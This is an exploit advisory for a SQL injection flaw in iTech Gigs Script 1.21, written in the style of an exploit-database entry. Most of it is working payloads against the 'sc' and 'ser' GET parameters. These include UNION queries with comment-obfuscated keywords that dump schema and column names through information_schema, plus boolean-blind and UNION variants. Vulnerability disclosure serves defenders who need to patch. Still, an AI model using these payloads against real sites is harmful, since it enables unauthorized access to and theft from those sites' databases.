iTech Gigs Script 1.21 SQL Injection

`# # # # #   
# Exploit Title: iTech Gigs Script 1.21 - SQL Injection  
# Dork: N/A  
# Date: 29.09.2017  
# Vendor Homepage: http://itechscripts.com/  
# Software Link: http://itechscripts.com/the-gigs-script/  
# Demo: http://gigs.itechscripts.com/  
# Version: 1.21  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# http://localhost/[PATH]/browse-scategory.php?sc=[SQL]  
#   
# -12c4ca4238a0b923820dcc509a6f75849b'++/*!08888UNIoN*/(/*!08888SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,(/*!08888SElEct*/+Export_sEt(5,@:=0,(/*!08888sElEct*/+count(*)/*!08888from*/(information_schEma.columns)whErE@:=Export_sEt(5,Export_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888column_namE*/,0xa3a,2)),@,2)),0x283829,0x283929,0x28313029)--+-  
#   
# http://localhost/[PATH]/service-provider.php?ser=[SQL]  
#   
# -9553'++/*!50000UNION*/+/*!50000SELECT*/+1,2,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-  
#   
# Parameter: sc (GET)  
# Type: boolean-based blind  
# Title: AND boolean-based blind - WHERE or HAVING clause  
# Payload: sc=12c4ca4238a0b923820dcc509a6f75849b' AND 5747=5747 AND 'tzJH'='tzJH  
#   
# Type: UNION query  
# Title: Generic UNION query (NULL) - 10 columns  
# Payload: sc=-5921' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x74624c4f7167546e4676635467647269456244634147776d584b77796e4870674661646a7a44485a,0x717a6a7a71),NULL,NULL,NULL-- bjaB  
#   
# Etc..  
# # # # #  
`